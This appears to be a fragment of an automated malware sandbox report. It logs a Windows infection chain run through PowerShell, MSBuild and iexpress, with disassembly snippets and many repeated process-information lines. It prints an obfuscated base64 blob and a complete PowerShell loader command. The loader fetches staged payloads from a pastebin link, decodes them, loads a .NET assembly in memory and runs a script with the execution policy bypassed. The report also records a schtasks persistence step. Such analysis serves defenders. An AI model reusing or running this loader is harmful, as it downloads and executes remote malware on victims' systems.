'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?Cc?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv \| Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz \| Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg \| Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF936862313 pushad ; iretd	7_2_00007FF93686232D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041478D push eax; retf	10_2_004147F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041478D push edx; retn 3E37h	10_2_00414818
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041B053 push edx; retf	10_2_0041B067
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00418933 push cs; ret	10_2_00418934
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00414A1A push edx; iretd	10_2_00414A2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00403350 push eax; ret	10_2_00403352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00416BEB push edi; ret	10_2_00416BEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041AD21 push cs; retf	10_2_0041AD29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0042D6F3 push esi; ret	10_2_0042D7CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041270E push edx; ret	10_2_0041270F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_004147C9 push eax; retf	10_2_004147F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A409AD push ecx; mov dword ptr [esp], ecx	10_2_01A409B6
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DC09AD push ecx; mov dword ptr [esp], ecx	12_2_04DC09B6
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EEA3A0 push esi; ret	12_2_02EEA479
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ECF3BB push edx; ret	12_2_02ECF3BC
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EC7630 push ss; retf B32Ch	12_2_02EC7710
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ED55E0 push cs; ret	12_2_02ED55E1
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ED3898 push edi; ret	12_2_02ED389C
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ED79CE push cs; retf	12_2_02ED79D6
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EE091F push FFFFFFB6h; retf	12_2_02EE0921
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EE0EFB push eax; retf	12_2_02EE0EB1
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EE0E97 push eax; retf	12_2_02EE0EB1
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ED7D00 push edx; retf	12_2_02ED7D14
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CE6668 push esp; ret	12_2_04CE66D9
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CE73ED push eax; retf	12_2_04CE73F8
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CEBC40 push es; ret	12_2_04CEBC45
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CE4825 push 00000006h; iretd	12_2_04CE4852
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CE5949 push esp; ret	12_2_04CE5954
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CEB937 push cs; iretd	12_2_04CEB938
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CF0AE8 push cs; ret	12_2_04CF0AEC

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /delete /tn task name /f

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
